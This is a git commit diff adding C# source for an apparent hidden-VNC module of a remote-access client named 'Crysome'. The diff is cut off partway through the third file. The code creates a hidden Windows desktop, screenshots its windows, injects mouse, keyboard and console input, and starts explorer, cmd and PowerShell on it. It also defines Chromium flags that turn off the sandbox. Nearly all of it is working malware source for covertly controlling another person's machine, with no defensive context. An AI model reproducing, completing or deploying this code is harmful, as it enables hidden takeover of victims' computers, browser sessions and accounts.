initial commit
This commit is contained in:
@@ -0,0 +1,291 @@
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Crysome.Client.Hvnc;
|
||||
|
||||
internal sealed class HvncImagingHandler : IDisposable
|
||||
{
|
||||
private struct RECT
|
||||
{
|
||||
public int Left;
|
||||
|
||||
public int Top;
|
||||
|
||||
public int Right;
|
||||
|
||||
public int Bottom;
|
||||
}
|
||||
|
||||
private const uint DESKTOP_GENERIC_ALL = 511u;
|
||||
|
||||
private const uint GW_HWNDLAST = 1u;
|
||||
|
||||
private const uint GW_HWNDPREV = 3u;
|
||||
|
||||
private const int VERTRES = 10;
|
||||
|
||||
private const int DESKTOPVERTRES = 117;
|
||||
|
||||
private const uint SRCCOPY = 13369376u;
|
||||
|
||||
public IntPtr Desktop { get; }
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern IntPtr GetDC(IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern bool SetThreadDesktop(IntPtr hDesktop);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern IntPtr GetDesktopWindow();
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern bool GetWindowRect(IntPtr hwnd, out RECT lpRect);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool IsWindowVisible(IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern bool PrintWindow(IntPtr hwnd, IntPtr hDC, uint nFlags);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern IntPtr GetWindow(IntPtr hWnd, uint uCmd);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern IntPtr GetTopWindow(IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool ReleaseDC(IntPtr hWnd, IntPtr hDC);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern IntPtr GetWindowDC(IntPtr hWnd);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
private static extern IntPtr CreateCompatibleDC(IntPtr hdc);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
private static extern IntPtr CreateCompatibleBitmap(IntPtr hdc, int nWidth, int nHeight);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
private static extern IntPtr SelectObject(IntPtr hdc, IntPtr hgdiobj);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
private static extern bool DeleteObject(IntPtr hObject);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
private static extern bool DeleteDC(IntPtr hdc);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
private static extern bool BitBlt(IntPtr hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, IntPtr hdcSrc, int nXSrc, int nYSrc, uint dwRop);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern bool CloseDesktop(IntPtr hDesktop);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
private static extern int GetDeviceCaps(IntPtr hdc, int nIndex);
|
||||
|
||||
public HvncImagingHandler(string desktopName)
|
||||
{
|
||||
IntPtr intPtr = OpenDesktop(desktopName, 0, fInherit: true, 511u);
|
||||
if (intPtr == IntPtr.Zero)
|
||||
{
|
||||
intPtr = CreateDesktop(desktopName, IntPtr.Zero, IntPtr.Zero, 0, 511u, IntPtr.Zero);
|
||||
}
|
||||
Desktop = intPtr;
|
||||
}
|
||||
|
||||
private static float GetScalingFactor()
|
||||
{
|
||||
using Graphics graphics = Graphics.FromHwnd(IntPtr.Zero);
|
||||
IntPtr hdc = graphics.GetHdc();
|
||||
int deviceCaps = GetDeviceCaps(hdc, 10);
|
||||
int deviceCaps2 = GetDeviceCaps(hdc, 117);
|
||||
graphics.ReleaseHdc(hdc);
|
||||
return (deviceCaps > 0) ? ((float)deviceCaps2 / (float)deviceCaps) : 1f;
|
||||
}
|
||||
|
||||
private static bool IsMostlyBlack(Bitmap bmp)
|
||||
{
|
||||
if (bmp == null || bmp.Width == 0 || bmp.Height == 0)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
int num = Math.Max(1, bmp.Width / 20);
|
||||
int num2 = Math.Max(1, bmp.Height / 20);
|
||||
int num3 = 0;
|
||||
int num4 = 0;
|
||||
BitmapData bitmapData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadOnly, PixelFormat.Format32bppArgb);
|
||||
try
|
||||
{
|
||||
int stride = bitmapData.Stride;
|
||||
IntPtr scan = bitmapData.Scan0;
|
||||
for (int i = 0; i < bmp.Height; i += num2)
|
||||
{
|
||||
for (int j = 0; j < bmp.Width; j += num)
|
||||
{
|
||||
int num5 = i * stride + j * 4;
|
||||
byte b = Marshal.ReadByte(scan, num5);
|
||||
byte b2 = Marshal.ReadByte(scan, num5 + 1);
|
||||
byte num6 = Marshal.ReadByte(scan, num5 + 2);
|
||||
num3++;
|
||||
if (num6 < 20 && b2 < 20 && b < 20)
|
||||
{
|
||||
num4++;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
bmp.UnlockBits(bitmapData);
|
||||
}
|
||||
if (num3 > 0)
|
||||
{
|
||||
return num4 * 100 / num3 > 80;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private bool DrawWindowBitBlt(IntPtr hWnd, Graphics g, IntPtr dc, RECT r, float scale)
|
||||
{
|
||||
int num = (int)((float)(r.Right - r.Left) * scale);
|
||||
int num2 = (int)((float)(r.Bottom - r.Top) * scale);
|
||||
if (num <= 0 || num2 <= 0)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
IntPtr windowDC = GetWindowDC(hWnd);
|
||||
if (windowDC == IntPtr.Zero)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
IntPtr intPtr = CreateCompatibleDC(dc);
|
||||
IntPtr intPtr2 = CreateCompatibleBitmap(dc, num, num2);
|
||||
IntPtr hgdiobj = SelectObject(intPtr, intPtr2);
|
||||
bool flag = BitBlt(intPtr, 0, 0, num, num2, windowDC, 0, 0, 13369376u);
|
||||
SelectObject(intPtr, hgdiobj);
|
||||
if (flag)
|
||||
{
|
||||
try
|
||||
{
|
||||
using Bitmap image = Image.FromHbitmap(intPtr2);
|
||||
g.DrawImage(image, r.Left, r.Top);
|
||||
}
|
||||
catch
|
||||
{
|
||||
flag = false;
|
||||
}
|
||||
}
|
||||
DeleteObject(intPtr2);
|
||||
DeleteDC(intPtr);
|
||||
ReleaseDC(hWnd, windowDC);
|
||||
return flag;
|
||||
}
|
||||
|
||||
private bool DrawWindow(IntPtr hWnd, Graphics g, IntPtr dc)
|
||||
{
|
||||
if (!GetWindowRect(hWnd, out var lpRect))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
float scalingFactor = GetScalingFactor();
|
||||
int num = (int)((float)(lpRect.Right - lpRect.Left) * scalingFactor);
|
||||
int num2 = (int)((float)(lpRect.Bottom - lpRect.Top) * scalingFactor);
|
||||
if (num <= 0 || num2 <= 0)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
IntPtr intPtr = CreateCompatibleDC(dc);
|
||||
IntPtr intPtr2 = CreateCompatibleBitmap(dc, num, num2);
|
||||
SelectObject(intPtr, intPtr2);
|
||||
if (PrintWindow(hWnd, intPtr, 2u))
|
||||
{
|
||||
try
|
||||
{
|
||||
using Bitmap original = Image.FromHbitmap(intPtr2);
|
||||
using Bitmap bitmap = new Bitmap(original);
|
||||
if (!IsMostlyBlack(bitmap))
|
||||
{
|
||||
g.DrawImage(bitmap, lpRect.Left, lpRect.Top);
|
||||
DeleteObject(intPtr2);
|
||||
DeleteDC(intPtr);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
DeleteObject(intPtr2);
|
||||
DeleteDC(intPtr);
|
||||
return DrawWindowBitBlt(hWnd, g, dc, lpRect, scalingFactor);
|
||||
}
|
||||
|
||||
private void DrawTopDown(IntPtr owner, Graphics g, IntPtr dc)
|
||||
{
|
||||
IntPtr topWindow = GetTopWindow(owner);
|
||||
if (topWindow == IntPtr.Zero)
|
||||
{
|
||||
return;
|
||||
}
|
||||
topWindow = GetWindow(topWindow, 1u);
|
||||
while (topWindow != IntPtr.Zero)
|
||||
{
|
||||
if (IsWindowVisible(topWindow))
|
||||
{
|
||||
DrawWindow(topWindow, g, dc);
|
||||
}
|
||||
topWindow = GetWindow(topWindow, 3u);
|
||||
}
|
||||
}
|
||||
|
||||
public Bitmap Screenshot()
|
||||
{
|
||||
if (Desktop == IntPtr.Zero)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
SetThreadDesktop(Desktop);
|
||||
IntPtr dC = GetDC(IntPtr.Zero);
|
||||
if (dC == IntPtr.Zero)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
if (!GetWindowRect(GetDesktopWindow(), out var lpRect))
|
||||
{
|
||||
ReleaseDC(IntPtr.Zero, dC);
|
||||
return null;
|
||||
}
|
||||
float scalingFactor = GetScalingFactor();
|
||||
int num = (int)((float)lpRect.Right * scalingFactor);
|
||||
int num2 = (int)((float)lpRect.Bottom * scalingFactor);
|
||||
if (num <= 0 || num2 <= 0)
|
||||
{
|
||||
ReleaseDC(IntPtr.Zero, dC);
|
||||
return null;
|
||||
}
|
||||
Bitmap bitmap = new Bitmap(num, num2);
|
||||
using (Graphics g = Graphics.FromImage(bitmap))
|
||||
{
|
||||
DrawTopDown(IntPtr.Zero, g, dC);
|
||||
}
|
||||
ReleaseDC(IntPtr.Zero, dC);
|
||||
return bitmap;
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
if (Desktop != IntPtr.Zero)
|
||||
{
|
||||
CloseDesktop(Desktop);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,469 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace Crysome.Client.Hvnc;
|
||||
|
||||
public class HvncInputHandler : IDisposable
|
||||
{
|
||||
[StructLayout(LayoutKind.Explicit, CharSet = CharSet.Unicode)]
|
||||
private struct KEY_EVENT_RECORD
|
||||
{
|
||||
[FieldOffset(0)]
|
||||
public int bKeyDown;
|
||||
|
||||
[FieldOffset(4)]
|
||||
public ushort wRepeatCount;
|
||||
|
||||
[FieldOffset(6)]
|
||||
public ushort wVirtualKeyCode;
|
||||
|
||||
[FieldOffset(8)]
|
||||
public ushort wVirtualScanCode;
|
||||
|
||||
[FieldOffset(10)]
|
||||
public char UnicodeChar;
|
||||
|
||||
[FieldOffset(12)]
|
||||
public uint dwControlKeyState;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit)]
|
||||
private struct INPUT_RECORD
|
||||
{
|
||||
[FieldOffset(0)]
|
||||
public ushort EventType;
|
||||
|
||||
[FieldOffset(2)]
|
||||
public KEY_EVENT_RECORD KeyEvent;
|
||||
}
|
||||
|
||||
private Utils.POINT lastPoint = new Utils.POINT
|
||||
{
|
||||
x = 0,
|
||||
y = 0
|
||||
};
|
||||
|
||||
private IntPtr hResMoveWindow = IntPtr.Zero;
|
||||
|
||||
private IntPtr resMoveType = IntPtr.Zero;
|
||||
|
||||
private bool lmouseDown;
|
||||
|
||||
private static object lockObject = new object();
|
||||
|
||||
private string DesktopName;
|
||||
|
||||
public IntPtr Desktop = IntPtr.Zero;
|
||||
|
||||
private const int STD_INPUT_HANDLE = -10;
|
||||
|
||||
private const ushort KEY_EVENT = 1;
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool AttachConsole(uint dwProcessId);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool FreeConsole();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern IntPtr GetStdHandle(int nStdHandle);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
private static extern bool WriteConsoleInput(IntPtr hConsoleInput, INPUT_RECORD[] lpBuffer, uint nLength, out uint lpNumberOfEventsWritten);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern uint MapVirtualKey(uint uCode, uint uMapType);
|
||||
|
||||
private static bool TrySendConsoleInput(IntPtr hWnd, uint vk, char ch)
|
||||
{
|
||||
try
|
||||
{
|
||||
Utils.GetWindowThreadProcessId(hWnd, out var ProcessId);
|
||||
if (ProcessId == 0)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
if (!AttachConsole(ProcessId))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
try
|
||||
{
|
||||
IntPtr stdHandle = GetStdHandle(-10);
|
||||
if (stdHandle == IntPtr.Zero || stdHandle == new IntPtr(-1))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
ushort wVirtualScanCode = (ushort)MapVirtualKey(vk, 0u);
|
||||
INPUT_RECORD iNPUT_RECORD = new INPUT_RECORD
|
||||
{
|
||||
EventType = 1,
|
||||
KeyEvent = new KEY_EVENT_RECORD
|
||||
{
|
||||
bKeyDown = 1,
|
||||
wRepeatCount = 1,
|
||||
wVirtualKeyCode = (ushort)vk,
|
||||
wVirtualScanCode = wVirtualScanCode,
|
||||
UnicodeChar = ch,
|
||||
dwControlKeyState = 0u
|
||||
}
|
||||
};
|
||||
INPUT_RECORD iNPUT_RECORD2 = new INPUT_RECORD
|
||||
{
|
||||
EventType = 1,
|
||||
KeyEvent = new KEY_EVENT_RECORD
|
||||
{
|
||||
bKeyDown = 0,
|
||||
wRepeatCount = 1,
|
||||
wVirtualKeyCode = (ushort)vk,
|
||||
wVirtualScanCode = wVirtualScanCode,
|
||||
UnicodeChar = ch,
|
||||
dwControlKeyState = 0u
|
||||
}
|
||||
};
|
||||
WriteConsoleInput(stdHandle, new INPUT_RECORD[2] { iNPUT_RECORD, iNPUT_RECORD2 }, 2u, out var _);
|
||||
return true;
|
||||
}
|
||||
finally
|
||||
{
|
||||
FreeConsole();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private static bool IsConsoleWindow(IntPtr hWnd)
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder(64);
|
||||
Utils.RealGetWindowClass(hWnd, stringBuilder, 64);
|
||||
return stringBuilder.ToString() == "ConsoleWindowClass";
|
||||
}
|
||||
|
||||
public HvncInputHandler(string DesktopName)
|
||||
{
|
||||
this.DesktopName = DesktopName;
|
||||
IntPtr intPtr = Utils.OpenDesktop(DesktopName, 0, fInherit: true, 511u);
|
||||
if (intPtr == IntPtr.Zero)
|
||||
{
|
||||
intPtr = Utils.CreateDesktop(DesktopName, IntPtr.Zero, IntPtr.Zero, 0, 511u, IntPtr.Zero);
|
||||
}
|
||||
Desktop = intPtr;
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
if (Desktop != IntPtr.Zero)
|
||||
{
|
||||
Utils.CloseDesktop(Desktop);
|
||||
}
|
||||
GC.Collect();
|
||||
}
|
||||
|
||||
public static int GET_X_LPARAM(IntPtr lParam)
|
||||
{
|
||||
return (short)(lParam.ToInt32() & 0xFFFF);
|
||||
}
|
||||
|
||||
public static int GET_Y_LPARAM(IntPtr lParam)
|
||||
{
|
||||
return (short)((lParam.ToInt32() >> 16) & 0xFFFF);
|
||||
}
|
||||
|
||||
public static IntPtr MAKELPARAM(int lowWord, int highWord)
|
||||
{
|
||||
return new IntPtr((highWord << 16) | (lowWord & 0xFFFF));
|
||||
}
|
||||
|
||||
public void ResetWindowsTopDown(IntPtr ownerhWnd)
|
||||
{
|
||||
IntPtr topWindow = Utils.GetTopWindow(ownerhWnd);
|
||||
if (topWindow == IntPtr.Zero)
|
||||
{
|
||||
return;
|
||||
}
|
||||
IntPtr window = Utils.GetWindow(topWindow, Utils.GetWindowType.GW_HWNDLAST);
|
||||
if (window == IntPtr.Zero)
|
||||
{
|
||||
return;
|
||||
}
|
||||
while (window != IntPtr.Zero)
|
||||
{
|
||||
if (Utils.IsWindowVisible(window))
|
||||
{
|
||||
Utils.SetWindowPos(window, IntPtr.Zero, 0, 0, 0, 0, 16469u);
|
||||
}
|
||||
window = Utils.GetWindow(window, Utils.GetWindowType.GW_HWNDPREV);
|
||||
}
|
||||
}
|
||||
|
||||
public static void SendStringToWindow(IntPtr hWnd, string text)
|
||||
{
|
||||
for (int i = 0; i < text.Length; i++)
|
||||
{
|
||||
ushort num = Utils.VkKeyScan(text[i]);
|
||||
if (num != ushort.MaxValue)
|
||||
{
|
||||
Utils.PostMessage(hWnd, 257u, (IntPtr)num, IntPtr.Zero);
|
||||
continue;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
public Process GetProcessFromhWnd(IntPtr handle)
|
||||
{
|
||||
try
|
||||
{
|
||||
Utils.GetWindowThreadProcessId(handle, out var ProcessId);
|
||||
return Process.GetProcessById((int)ProcessId);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public string GetTopMostWindowName()
|
||||
{
|
||||
Utils.SetThreadDesktop(Desktop);
|
||||
Process processFromhWnd = GetProcessFromhWnd(FindTopMostWindow());
|
||||
string processName = processFromhWnd.ProcessName;
|
||||
processFromhWnd.Dispose();
|
||||
return processName;
|
||||
}
|
||||
|
||||
public IntPtr FindTopMostWindow()
|
||||
{
|
||||
IntPtr activeWindowHandle = IntPtr.Zero;
|
||||
Utils.EnumDesktopWindows(Desktop, EnumWindowsCallback, IntPtr.Zero);
|
||||
return activeWindowHandle;
|
||||
bool EnumWindowsCallback(IntPtr hWnd, IntPtr lParam)
|
||||
{
|
||||
if (Utils.IsWindowVisible(hWnd))
|
||||
{
|
||||
activeWindowHandle = hWnd;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
public void PasteText(string text)
|
||||
{
|
||||
Utils.SetThreadDesktop(Desktop);
|
||||
IntPtr intPtr = FindTopMostWindow();
|
||||
if (!(intPtr == IntPtr.Zero))
|
||||
{
|
||||
SendStringToWindow(intPtr, text);
|
||||
}
|
||||
}
|
||||
|
||||
public void PasteFromClientClipboard()
|
||||
{
|
||||
IntPtr intPtr = FindTopMostWindow();
|
||||
if (!(intPtr == IntPtr.Zero))
|
||||
{
|
||||
Utils.SendMessage(intPtr, 770u, IntPtr.Zero, IntPtr.Zero);
|
||||
}
|
||||
}
|
||||
|
||||
public void Input(uint msg, IntPtr wParam, IntPtr lParam)
|
||||
{
|
||||
lock (lockObject)
|
||||
{
|
||||
Utils.SetThreadDesktop(Desktop);
|
||||
_ = IntPtr.Zero;
|
||||
bool flag = false;
|
||||
Utils.POINT lpPoint = default(Utils.POINT);
|
||||
IntPtr intPtr;
|
||||
if (msg - 256 <= 2)
|
||||
{
|
||||
lpPoint = lastPoint;
|
||||
intPtr = Utils.WindowFromPoint(lpPoint);
|
||||
if (msg == 258 && intPtr != IntPtr.Zero && IsConsoleWindow(intPtr))
|
||||
{
|
||||
char ch = (char)wParam.ToInt32();
|
||||
uint vk = (uint)wParam.ToInt32();
|
||||
TrySendConsoleInput(intPtr, vk, ch);
|
||||
return;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
flag = true;
|
||||
lpPoint.x = GET_X_LPARAM(lParam);
|
||||
lpPoint.y = GET_Y_LPARAM(lParam);
|
||||
Utils.POINT pOINT = lastPoint;
|
||||
lastPoint = lpPoint;
|
||||
intPtr = Utils.WindowFromPoint(lpPoint);
|
||||
switch (msg)
|
||||
{
|
||||
case 513u:
|
||||
{
|
||||
lmouseDown = true;
|
||||
hResMoveWindow = IntPtr.Zero;
|
||||
IntPtr intPtr2 = Utils.FindWindow("Button", null);
|
||||
Utils.GetWindowRect(intPtr2, out var lpRect2);
|
||||
if (Utils.PtInRect(ref lpRect2, lpPoint))
|
||||
{
|
||||
Utils.PostMessage(intPtr2, 245u, IntPtr.Zero, IntPtr.Zero);
|
||||
return;
|
||||
}
|
||||
StringBuilder stringBuilder = new StringBuilder(260);
|
||||
Utils.RealGetWindowClass(intPtr, stringBuilder, 260);
|
||||
if (stringBuilder.ToString() == "#32768")
|
||||
{
|
||||
IntPtr subMenu = Utils.GetSubMenu(intPtr, 0);
|
||||
int num7 = Utils.MenuItemFromPoint(IntPtr.Zero, subMenu, lpPoint);
|
||||
Utils.GetMenuItemID(subMenu, num7);
|
||||
Utils.PostMessage(intPtr, 485u, new IntPtr(num7), IntPtr.Zero);
|
||||
Utils.PostMessage(intPtr, 256u, new IntPtr(13), IntPtr.Zero);
|
||||
return;
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 514u:
|
||||
lmouseDown = false;
|
||||
switch (Utils.SendMessage(intPtr, 132u, IntPtr.Zero, lParam).ToInt32())
|
||||
{
|
||||
case -1:
|
||||
Utils.SetWindowLong(intPtr, -16, Utils.GetWindowLong(intPtr, -16) | 0x8000000);
|
||||
Utils.SendMessage(intPtr, 132u, IntPtr.Zero, lParam);
|
||||
break;
|
||||
case 8:
|
||||
Utils.PostMessage(intPtr, 274u, new IntPtr(61472), IntPtr.Zero);
|
||||
break;
|
||||
case 9:
|
||||
{
|
||||
Utils.WINDOWPLACEMENT lpwndpl = default(Utils.WINDOWPLACEMENT);
|
||||
lpwndpl.length = Marshal.SizeOf(lpwndpl);
|
||||
Utils.GetWindowPlacement(intPtr, ref lpwndpl);
|
||||
if ((lpwndpl.flags & 3) != 0)
|
||||
{
|
||||
Utils.PostMessage(intPtr, 274u, new IntPtr(61728), IntPtr.Zero);
|
||||
}
|
||||
else
|
||||
{
|
||||
Utils.PostMessage(intPtr, 274u, new IntPtr(61488), IntPtr.Zero);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 20:
|
||||
Utils.PostMessage(intPtr, 16u, IntPtr.Zero, IntPtr.Zero);
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case 512u:
|
||||
if (lmouseDown)
|
||||
{
|
||||
if (hResMoveWindow == IntPtr.Zero)
|
||||
{
|
||||
resMoveType = Utils.SendMessage(intPtr, 132u, IntPtr.Zero, lParam);
|
||||
}
|
||||
else
|
||||
{
|
||||
intPtr = hResMoveWindow;
|
||||
}
|
||||
int num = pOINT.x - lpPoint.x;
|
||||
int num2 = pOINT.y - lpPoint.y;
|
||||
Utils.GetWindowRect(intPtr, out var lpRect);
|
||||
int num3 = lpRect.left;
|
||||
int num4 = lpRect.top;
|
||||
int num5 = lpRect.right - lpRect.left;
|
||||
int num6 = lpRect.bottom - lpRect.top;
|
||||
switch (resMoveType.ToInt32())
|
||||
{
|
||||
default:
|
||||
return;
|
||||
case 2:
|
||||
num3 -= num;
|
||||
num4 -= num2;
|
||||
break;
|
||||
case 3:
|
||||
case 4:
|
||||
case 5:
|
||||
case 6:
|
||||
case 7:
|
||||
case 8:
|
||||
case 9:
|
||||
return;
|
||||
case 10:
|
||||
num3 -= num;
|
||||
num5 += num;
|
||||
break;
|
||||
case 11:
|
||||
num5 -= num;
|
||||
break;
|
||||
case 12:
|
||||
num4 -= num2;
|
||||
num6 += num2;
|
||||
break;
|
||||
case 13:
|
||||
num4 -= num2;
|
||||
num6 += num2;
|
||||
num3 -= num;
|
||||
num5 += num;
|
||||
break;
|
||||
case 14:
|
||||
num4 -= num2;
|
||||
num6 += num2;
|
||||
num5 -= num;
|
||||
break;
|
||||
case 15:
|
||||
num6 -= num2;
|
||||
break;
|
||||
case 16:
|
||||
num6 -= num2;
|
||||
num3 -= num;
|
||||
num5 += num;
|
||||
break;
|
||||
case 17:
|
||||
num6 -= num2;
|
||||
num5 -= num;
|
||||
break;
|
||||
}
|
||||
Utils.MoveWindow(intPtr, num3, num4, num5, num6, repaint: false);
|
||||
hResMoveWindow = intPtr;
|
||||
return;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
IntPtr intPtr3 = intPtr;
|
||||
IntPtr intPtr4;
|
||||
do
|
||||
{
|
||||
intPtr4 = intPtr3;
|
||||
Utils.ScreenToClient(intPtr4, ref lpPoint);
|
||||
}
|
||||
while (!(intPtr3 == IntPtr.Zero) && !(intPtr3 == intPtr4));
|
||||
if (flag)
|
||||
{
|
||||
lParam = MAKELPARAM(lpPoint.x, lpPoint.y);
|
||||
StringBuilder stringBuilder2 = new StringBuilder(260);
|
||||
Utils.RealGetWindowClass(intPtr4, stringBuilder2, 260);
|
||||
string text = stringBuilder2.ToString();
|
||||
if (Utils.PostMessage(intPtr4, msg, wParam, lParam) != IntPtr.Zero)
|
||||
{
|
||||
switch (text)
|
||||
{
|
||||
case "SysTreeView32":
|
||||
case "Button":
|
||||
case "DirectUIHWND":
|
||||
if (msg == 514 && text != "DirectUIHWND")
|
||||
{
|
||||
Utils.PostMessage(intPtr4, 256u, new IntPtr(13), new IntPtr(1835009));
|
||||
}
|
||||
break;
|
||||
}
|
||||
return;
|
||||
}
|
||||
}
|
||||
Utils.PostMessage(intPtr4, msg, wParam, lParam);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,773 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Management;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Crysome.Client.Hvnc;
|
||||
|
||||
internal sealed class HvncProcessHandler
|
||||
{
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
private struct STARTUPINFO
|
||||
{
|
||||
public int cb;
|
||||
|
||||
public string lpReserved;
|
||||
|
||||
public string lpDesktop;
|
||||
|
||||
public string lpTitle;
|
||||
|
||||
public int dwX;
|
||||
|
||||
public int dwY;
|
||||
|
||||
public int dwXSize;
|
||||
|
||||
public int dwYSize;
|
||||
|
||||
public int dwXCountChars;
|
||||
|
||||
public int dwYCountChars;
|
||||
|
||||
public int dwFillAttribute;
|
||||
|
||||
public int dwFlags;
|
||||
|
||||
public short wShowWindow;
|
||||
|
||||
public short cbReserved2;
|
||||
|
||||
public IntPtr lpReserved2;
|
||||
|
||||
public IntPtr hStdInput;
|
||||
|
||||
public IntPtr hStdOutput;
|
||||
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
private struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
|
||||
public IntPtr hThread;
|
||||
|
||||
public int dwProcessId;
|
||||
|
||||
public int dwThreadId;
|
||||
}
|
||||
|
||||
private const int CREATE_NEW_CONSOLE = 16;
|
||||
|
||||
private const int CREATE_UNICODE_ENVIRONMENT = 1024;
|
||||
|
||||
private readonly string _desktopName;
|
||||
|
||||
private const string ChromiumFlags = "--no-sandbox --allow-no-sandbox-job --disable-gpu";
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
public HvncProcessHandler(string desktopName)
|
||||
{
|
||||
_desktopName = desktopName;
|
||||
}
|
||||
|
||||
private static bool IsAdmin()
|
||||
{
|
||||
try
|
||||
{
|
||||
using WindowsIdentity ntIdentity = WindowsIdentity.GetCurrent();
|
||||
return new WindowsPrincipal(ntIdentity).IsInRole(WindowsBuiltInRole.Administrator);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public bool StartExplorer()
|
||||
{
|
||||
string text = "C:\\Windows\\explorer.exe /NoUACCheck";
|
||||
if (IsAdmin() && HvncProcessHelper.RunAsRestrictedUser(text, _desktopName))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
return CreateProc(text);
|
||||
}
|
||||
|
||||
public bool StartRunDialog()
|
||||
{
|
||||
return CreateProc("C:\\Windows\\System32\\rundll32.exe shell32.dll,#61");
|
||||
}
|
||||
|
||||
public bool StartCmd()
|
||||
{
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "cmd.exe");
|
||||
text = (string.IsNullOrEmpty(text) ? "cmd.exe" : text);
|
||||
if (IsAdmin() && HvncProcessHelper.RunAsRestrictedUser(text, _desktopName))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
return CreateProc(text);
|
||||
}
|
||||
|
||||
public bool StartPowerShell()
|
||||
{
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "WindowsPowerShell", "v1.0", "powershell.exe");
|
||||
if (!File.Exists(text))
|
||||
{
|
||||
text = "powershell.exe";
|
||||
}
|
||||
if (IsAdmin() && HvncProcessHelper.RunAsRestrictedUser(text, _desktopName))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
return CreateProc(text);
|
||||
}
|
||||
|
||||
